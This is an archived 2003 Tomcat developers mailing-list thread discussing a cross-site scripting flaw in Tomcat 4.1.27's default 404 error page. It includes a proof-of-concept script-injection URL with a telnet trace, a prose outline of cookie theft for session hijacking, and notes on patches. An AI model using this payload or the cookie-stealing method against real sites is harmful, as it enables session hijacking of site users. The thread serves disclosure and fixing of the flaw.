Re: Jakarta Tomcat 4.1 XSS vulnerability
Anyone know how serious this is?
It also appears to affect Tomcat 4.1.27 when using mod_jk as well. Below
is a sample trace of a HTTP session.
-Dave
telnet localhost 8080
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /666%0a%0ascriptalert(asdf);/script666.jsp HTTP/1.0
Host: localhost
HTTP/1.1 404 /666
scriptalert(asdf);/script666.jsp
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Mon, 29 Sep 2003 18:39:23 GMT
Server: Apache Coyote/1.0
Connection: close
htmlheadtitleApache Tomcat/4.1.27 - Error
report/titleSTYLE!--H1{font-family : sans-serif,Arial,Tahoma;color :
white;background-color : #0086b2;} H3{font-family :
sans-serif,Arial,Tahoma;color : white;background-color : #0086b2;}
BODY{font-family : sans-serif,Arial,Tahoma;color : black;background-color
: white;} B{color : white;background-color : #0086b2;} HR{color :
#0086b2;} --/STYLE /headbodyh1HTTP Status 404 - /666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp/h1HR
size=1 noshadepbtype/b Status report/ppbmessage/b u/666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp/u/ppbdescription/b
uThe requested resource (/666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp) is not
available./u/pHR size=1 noshadeh3Apache
Tomcat/4.1.27/h3/body/htmlConnection closed by foreign host.
On Sun, September 28, 2003 at 3:14 am, Kan Ogawa sent the following
Jakarta Tomcat 4.1 cross-site scripting vulnerability, which was
reported last year, is not yet resolved.
http://www.securityfocus.com/archive/82/288502/2002-08-16/2002-08-22/0
I verified this vulnerability on Tomcat 4.1.27 with Coyote HTTP/1.1
connector.
http://localhost:8080/666%0a%0ascriptalert(asdf);/script666.jsp
On the other hand, on Tomcat 5.0, it was not reproduced.
Do you neglect to resolve it to Tomcat 4.x, Tomcat committers?
Regards,
--
Kan Ogawa
[EMAIL PROTECTED]
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
RE: Jakarta Tomcat 4.1 XSS vulnerability
Howdy,
I'm not a big security buff, but three things come to mind:
- The original post with the exploit is more than a year old, yet we
haven't heard anything about this actually used maliciously -- how come?
- Is it really a vulnerability? What can you get from this exploit?
All I see is tomcat returning a 404 (not found) response with the
javascript specified in the GET request, but javascript is executed on
the client anyhow, so who cares?
- What would the fix be? Not include the requested URL in the default
404 response page?
Yoav Shapira
Millennium ChemInformatics
-Original Message-
From: David Rees [mailto:[EMAIL PROTECTED]
Sent: Monday, September 29, 2003 2:41 PM
To: Tomcat Developers List
Subject: Re: Jakarta Tomcat 4.1 XSS vulnerability
Anyone know how serious this is?
It also appears to affect Tomcat 4.1.27 when using mod_jk as well.
Below
is a sample trace of a HTTP session.
-Dave
telnet localhost 8080
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /666%0a%0ascriptalert(asdf);/script666.jsp HTTP/1.0
Host: localhost
HTTP/1.1 404 /666
scriptalert(asdf);/script666.jsp
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Mon, 29 Sep 2003 18:39:23 GMT
Server: Apache Coyote/1.0
Connection: close
htmlheadtitleApache Tomcat/4.1.27 - Error
report/titleSTYLE!--H1{font-family : sans-serif,Arial,Tahoma;color
:
white;background-color : #0086b2;} H3{font-family :
sans-serif,Arial,Tahoma;color : white;background-color : #0086b2;}
BODY{font-family : sans-serif,Arial,Tahoma;color :
black;background-color
: white;} B{color : white;background-color : #0086b2;} HR{color :
#0086b2;} --/STYLE /headbodyh1HTTP Status 404 - /666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp/h1HR
size=1 noshadepbtype/b Status report/ppbmessage/b
u/666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp/u/pp
bd
escription/b
uThe requested resource (/666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp) is not
available./u/pHR size=1 noshadeh3Apache
Tomcat/4.1.27/h3/body/htmlConnection closed by foreign host.
On Sun, September 28, 2003 at 3:14 am, Kan Ogawa sent the following
Jakarta Tomcat 4.1 cross-site scripting vulnerability, which was
reported last year, is not yet resolved.
http://www.securityfocus.com/archive/82/288502/2002-08-16/2002-08-22/0
I verified this vulnerability on Tomcat 4.1.27 with Coyote HTTP/1.1
connector.
http://localhost:8080/666%0a%0ascriptalert(asdf);/script666.jsp
On the other hand, on Tomcat 5.0, it was not reproduced.
Do you neglect to resolve it to Tomcat 4.x, Tomcat committers?
Regards,
--
Kan Ogawa
[EMAIL PROTECTED]
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
This e-mail, including any attachments, is a confidential business communication, and
may contain information that is confidential, proprietary and/or privileged. This
e-mail is intended only for the individual(s) to whom it is addressed, and may not be
saved, copied, printed, disclosed or used by anyone else. If you are not the(an)
intended recipient, please immediately delete this e-mail from your computer system
and notify the sender. Thank you.
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
RE: Jakarta Tomcat 4.1 XSS vulnerability
On Mon, September 29, 2003 1at 1:57 am, Shapira, Yoav sent the following I'm not a big security buff, but three things come to mind: - The original post with the exploit is more than a year old, yet we haven't heard anything about this actually used maliciously -- how come? Can't answer this one myself... - Is it really a vulnerability? What can you get from this exploit? You can hijack the user's session or steal information from a user's cookie pretty easily with a XSS flaw such as this one. All I see is tomcat returning a 404 (not found) response with the javascript specified in the GET request, but javascript is executed on the client anyhow, so who cares? - What would the fix be? Not include the requested URL in the default 404 response page? That's not the problem. If you look at the trace in my previous post, the problem is that the javascript was printed out un-encoded before any of the response headers. You can try plugging in the URL in your browser (just tack on 666%0a%0ascriptalert(asdf);/script666.jsp a URL) and you will receive a Javascript alert asdf. Malicious users could obviously write something much more malicious than a simple alert used as the example. -Dave - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Jakarta Tomcat 4.1 XSS vulnerability
Remy has already patched the HTTP Connector for this one (both Tomcat 45).
I believe that the patch still needs to be ported to the JK2 Connector.
- Original Message -
From: Shapira, Yoav [EMAIL PROTECTED]
To: Tomcat Developers List [EMAIL PROTECTED]
Sent: Monday, September 29, 2003 11:57 AM
Subject: RE: Jakarta Tomcat 4.1 XSS vulnerability
Howdy,
I'm not a big security buff, but three things come to mind:
- The original post with the exploit is more than a year old, yet we
haven't heard anything about this actually used maliciously -- how come?
- Is it really a vulnerability? What can you get from this exploit?
All I see is tomcat returning a 404 (not found) response with the
javascript specified in the GET request, but javascript is executed on
the client anyhow, so who cares?
- What would the fix be? Not include the requested URL in the default
404 response page?
Yoav Shapira
Millennium ChemInformatics
-Original Message-
From: David Rees [mailto:[EMAIL PROTECTED]
Sent: Monday, September 29, 2003 2:41 PM
To: Tomcat Developers List
Subject: Re: Jakarta Tomcat 4.1 XSS vulnerability
Anyone know how serious this is?
It also appears to affect Tomcat 4.1.27 when using mod_jk as well.
Below
is a sample trace of a HTTP session.
-Dave
telnet localhost 8080
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /666%0a%0ascriptalert(asdf);/script666.jsp HTTP/1.0
Host: localhost
HTTP/1.1 404 /666
scriptalert(asdf);/script666.jsp
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Mon, 29 Sep 2003 18:39:23 GMT
Server: Apache Coyote/1.0
Connection: close
htmlheadtitleApache Tomcat/4.1.27 - Error
report/titleSTYLE!--H1{font-family : sans-serif,Arial,Tahoma;color
:
white;background-color : #0086b2;} H3{font-family :
sans-serif,Arial,Tahoma;color : white;background-color : #0086b2;}
BODY{font-family : sans-serif,Arial,Tahoma;color :
black;background-color
: white;} B{color : white;background-color : #0086b2;} HR{color :
#0086b2;} --/STYLE /headbodyh1HTTP Status 404 - /666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp/h1HR
size=1 noshadepbtype/b Status report/ppbmessage/b
u/666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp/u/pp
bd
escription/b
uThe requested resource (/666
lt;scriptgt;alert(quot;asdfquot;);lt;/scriptgt;666.jsp) is not
available./u/pHR size=1 noshadeh3Apache
Tomcat/4.1.27/h3/body/htmlConnection closed by foreign host.
On Sun, September 28, 2003 at 3:14 am, Kan Ogawa sent the following
Jakarta Tomcat 4.1 cross-site scripting vulnerability, which was
reported last year, is not yet resolved.
http://www.securityfocus.com/archive/82/288502/2002-08-16/2002-08-22/0
I verified this vulnerability on Tomcat 4.1.27 with Coyote HTTP/1.1
connector.
http://localhost:8080/666%0a%0ascriptalert(asdf);/script666.jsp
On the other hand, on Tomcat 5.0, it was not reproduced.
Do you neglect to resolve it to Tomcat 4.x, Tomcat committers?
Regards,
--
Kan Ogawa
[EMAIL PROTECTED]
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
This e-mail, including any attachments, is a confidential business
communication, and may contain information that is confidential, proprietary
and/or privileged. This e-mail is intended only for the individual(s) to
whom it is addressed, and may not be saved, copied, printed, disclosed or
used by anyone else. If you are not the(an) intended recipient, please
immediately delete this e-mail from your computer system and notify the
sender. Thank you.
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
This message is intended only for the use of the person(s) listed above as the
intended recipient(s), and may contain information that is PRIVILEGED and
CONFIDENTIAL. If you are not an intended recipient, you may not read, copy, or
distribute this message or any attachment. If you received this communication in
error, please notify us immediately by e-mail and then delete all copies of this
message and any attachments.
In addition you should be aware that ordinary (unencrypted) e-mail sent through the
Internet is not secure. Do not send confidential or sensitive information, such as
social security numbers, account numbers, personal identification numbers and
passwords, to us via ordinary (unencrypted) e-mail.
-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
Re: Jakarta Tomcat 4.1 XSS vulnerability
On Mon, September 29, 2003 1at 2:32 pm, Bill Barker sent the following Remy has already patched the HTTP Connector for this one (both Tomcat 45). I believe that the patch still needs to be ported to the JK2 Connector. Thanks for the update, Bill. Hope to see Tomcat 4.1.28 out soon, look like we could be seeing it as soon as next week. Thanks, Dave - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: Jakarta Tomcat 4.1 XSS vulnerability
Howdy, This is interesting, hopefully you won't mind educating me a bit further... - Is it really a vulnerability? What can you get from this exploit? You can hijack the user's session or steal information from a user's cookie pretty easily with a XSS flaw such as this one. How would you hijack the user's session? By that do you mean just getting the session ID from the JSESSION cookie on the user's hard-drive? That's not the problem. If you look at the trace in my previous post, the problem is that the javascript was printed out un-encoded before any of the response headers. You can try plugging in the URL in your browser (just tack on 666%0a%0ascriptalert(asdf);/script666.jsp a URL) and you will receive a Javascript alert asdf. Malicious users could obviously write something much more malicious than a simple alert used as the example. But whatever a malicious user writes would be executed on their own PC, right? It won't run on the tomcat server or on anyone else's machines. So the worst they can do is harm their own PC? Or did I misunderstand something? Yoav Shapira This e-mail, including any attachments, is a confidential business communication, and may contain information that is confidential, proprietary and/or privileged. This e-mail is intended only for the individual(s) to whom it is addressed, and may not be saved, copied, printed, disclosed or used by anyone else. If you are not the(an) intended recipient, please immediately delete this e-mail from your computer system and notify the sender. Thank you. - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: Jakarta Tomcat 4.1 XSS vulnerability
Hey, Just thought I'd pop in on this one. Fairly standard XSS attack: -Insert/execute javascript to pull some key piece of data (ex. value of the jsessionid cookie) -This same bit of javascript will then make a http request (through one several means) to an attackers website which involves that key piece of data (ex. as a get parameter) Now I'm not sure if TC uses some additional authentication methods to prevent this from being an issue (ex. a session can only come from one ip). So this may or may not be a valid scenario. Chad Johnson Web Services Developer WS Packaging Group, Inc. -Original Message- From: Shapira, Yoav [mailto:[EMAIL PROTECTED] Sent: Monday, September 29, 2003 2:34 PM To: Tomcat Developers List Subject: RE: Jakarta Tomcat 4.1 XSS vulnerability Howdy, This is interesting, hopefully you won't mind educating me a bit further... - Is it really a vulnerability? What can you get from this exploit? You can hijack the user's session or steal information from a user's cookie pretty easily with a XSS flaw such as this one. How would you hijack the user's session? By that do you mean just getting the session ID from the JSESSION cookie on the user's hard-drive? That's not the problem. If you look at the trace in my previous post, the problem is that the javascript was printed out un-encoded before any of the response headers. You can try plugging in the URL in your browser (just tack on 666%0a%0ascriptalert(asdf);/script666.jsp a URL) and you will receive a Javascript alert asdf. Malicious users could obviously write something much more malicious than a simple alert used as the example. But whatever a malicious user writes would be executed on their own PC, right? It won't run on the tomcat server or on anyone else's machines. So the worst they can do is harm their own PC? Or did I misunderstand something? Yoav Shapira This e-mail, including any attachments, is a confidential business communication, and may contain information that is confidential, proprietary and/or privileged. This e-mail is intended only for the individual(s) to whom it is addressed, and may not be saved, copied, printed, disclosed or used by anyone else. If you are not the(an) intended recipient, please immediately delete this e-mail from your computer system and notify the sender. Thank you. - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: Jakarta Tomcat 4.1 XSS vulnerability
On Mon, September 29, 2003 1at 2:34 pm, Shapira, Yoav sent the following Howdy, This is interesting, hopefully you won't mind educating me a bit further... Not at all, but keep in mind I haven't studied all that much myself... ;-) - Is it really a vulnerability? What can you get from this exploit? You can hijack the user's session or steal information from a user's cookie pretty easily with a XSS flaw such as this one. How would you hijack the user's session? By that do you mean just getting the session ID from the JSESSION cookie on the user's hard-drive? Once you are able to insert arbritrary Javascript into a page, you could use that power to submit a request to your own website with the JSESSION cookie details. So an example scenario would look like this: 1. User has session open to www.unsecurebank.com. 2. User receives email from malicious user saying Buy my product here! but is actually a link to www.unsecurebank.com. The link exploits the XSS vulnerability and uses Javascript to send the cookie information back to the malicous user's website. 3. Malicous user now has access to www.unsecurebank.com. If www.unsecurebank.com also stored sensitive information in any cookies, the malicious user would now have that information as well! In this cause, www.unsecurebank.com could also perform IP address confirmation along with the JSESSION id, but this is only reliable when using HTTPS/SSL. -Dave - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: Jakarta Tomcat 4.1 XSS vulnerability
Howdy, OK, makes sense. Thanks for the examples! Yoav Shapira Millennium ChemInformatics -Original Message- From: David Rees [mailto:[EMAIL PROTECTED] Sent: Monday, September 29, 2003 3:50 PM To: Tomcat Developers List Subject: RE: Jakarta Tomcat 4.1 XSS vulnerability On Mon, September 29, 2003 1at 2:34 pm, Shapira, Yoav sent the following Howdy, This is interesting, hopefully you won't mind educating me a bit further... Not at all, but keep in mind I haven't studied all that much myself... ;-) - Is it really a vulnerability? What can you get from this exploit? You can hijack the user's session or steal information from a user's cookie pretty easily with a XSS flaw such as this one. How would you hijack the user's session? By that do you mean just getting the session ID from the JSESSION cookie on the user's hard-drive? Once you are able to insert arbritrary Javascript into a page, you could use that power to submit a request to your own website with the JSESSION cookie details. So an example scenario would look like this: 1. User has session open to www.unsecurebank.com. 2. User receives email from malicious user saying Buy my product here! but is actually a link to www.unsecurebank.com. The link exploits the XSS vulnerability and uses Javascript to send the cookie information back to the malicous user's website. 3. Malicous user now has access to www.unsecurebank.com. If www.unsecurebank.com also stored sensitive information in any cookies, the malicious user would now have that information as well! In this cause, www.unsecurebank.com could also perform IP address confirmation along with the JSESSION id, but this is only reliable when using HTTPS/SSL. -Dave - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] This e-mail, including any attachments, is a confidential business communication, and may contain information that is confidential, proprietary and/or privileged. This e-mail is intended only for the individual(s) to whom it is addressed, and may not be saved, copied, printed, disclosed or used by anyone else. If you are not the(an) intended recipient, please immediately delete this e-mail from your computer system and notify the sender. Thank you. - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Jakarta Tomcat 4.1 XSS vulnerability
David Rees wrote: Anyone know how serious this is? Lol. If you're affected by XSS, then you have a problem (no site in the world deserves any privilege: *all* need javascript blocking these days). It also appears to affect Tomcat 4.1.27 when using mod_jk as well. Below is a sample trace of a HTTP session. Remy - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Jakarta Tomcat 4.1 XSS vulnerability
- Original Message - From: David Rees [EMAIL PROTECTED] To: Tomcat Developers List [EMAIL PROTECTED] Sent: Monday, September 29, 2003 12:33 PM Subject: Re: Jakarta Tomcat 4.1 XSS vulnerability On Mon, September 29, 2003 1at 2:32 pm, Bill Barker sent the following Remy has already patched the HTTP Connector for this one (both Tomcat 45). I believe that the patch still needs to be ported to the JK2 Connector. Thanks for the update, Bill. Hope to see Tomcat 4.1.28 out soon, look like we could be seeing it as soon as next week. Ok, that's what I get for working from memory. Actually, Remy's patch is currently only in TC 5. It still needs to be applied to TC 4 (as well as the JK2 Connector for both versions). Thanks, Dave - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] This message is intended only for the use of the person(s) listed above as the intended recipient(s), and may contain information that is PRIVILEGED and CONFIDENTIAL. If you are not an intended recipient, you may not read, copy, or distribute this message or any attachment. If you received this communication in error, please notify us immediately by e-mail and then delete all copies of this message and any attachments. In addition you should be aware that ordinary (unencrypted) e-mail sent through the Internet is not secure. Do not send confidential or sensitive information, such as social security numbers, account numbers, personal identification numbers and passwords, to us via ordinary (unencrypted) e-mail. - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Jakarta Tomcat 4.1 XSS vulnerability
Actually this could be issue on a poorly configured site where the admin does not override the default error pages. It would make it very easy to steal someone's cookies or session. So while might be an issue (I personally haven't checked), its not an issue if the admin configures custom error pages to show instead of displaying the default. -Tim Remy Maucherat wrote: David Rees wrote: Anyone know how serious this is? Lol. If you're affected by XSS, then you have a problem (no site in the world deserves any privilege: *all* need javascript blocking these days). It also appears to affect Tomcat 4.1.27 when using mod_jk as well. Below is a sample trace of a HTTP session. Remy - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: Jakarta Tomcat 4.1 XSS vulnerability
On Mon, September 29, 2003 1at 2:49 pm, Shapira, Yoav sent the following Howdy, OK, makes sense. Thanks for the examples! Glad I could help. Hopefully you (and others) can use this information while designing web applications to avoid similar XSS issues in the future even if they are relatively unlikely to be exploited. -Dave - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Jakarta Tomcat 4.1 XSS vulnerability
I've found a very good explanation of XSS: http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf Jeff Tulley ([EMAIL PROTECTED]) (801)861-5322 Novell, Inc., The Leading Provider of Net Business Solutions http://www.novell.com [EMAIL PROTECTED] 9/29/03 2:26:54 PM Actually this could be issue on a poorly configured site where the admin does not override the default error pages. It would make it very easy to steal someone's cookies or session. So while might be an issue (I personally haven't checked), its not an issue if the admin configures custom error pages to show instead of displaying the default. -Tim Remy Maucherat wrote: David Rees wrote: Anyone know how serious this is? Lol. If you're affected by XSS, then you have a problem (no site in the world deserves any privilege: *all* need javascript blocking these days). It also appears to affect Tomcat 4.1.27 when using mod_jk as well. Below is a sample trace of a HTTP session. Remy - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Jakarta Tomcat 4.1 XSS vulnerability
Hi, Jakarta Tomcat 4.1 cross-site scripting vulnerability, which was reported last year, is not yet resolved. http://www.securityfocus.com/archive/82/288502/2002-08-16/2002-08-22/0 I verified this vulnerability on Tomcat 4.1.27 with Coyote HTTP/1.1 connector. http://localhost:8080/666%0a%0ascriptalert(asdf);/script666.jsp On the other hand, on Tomcat 5.0, it was not reproduced. Do you neglect to resolve it to Tomcat 4.x, Tomcat committers? Regards, -- Kan Ogawa [EMAIL PROTECTED] - To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
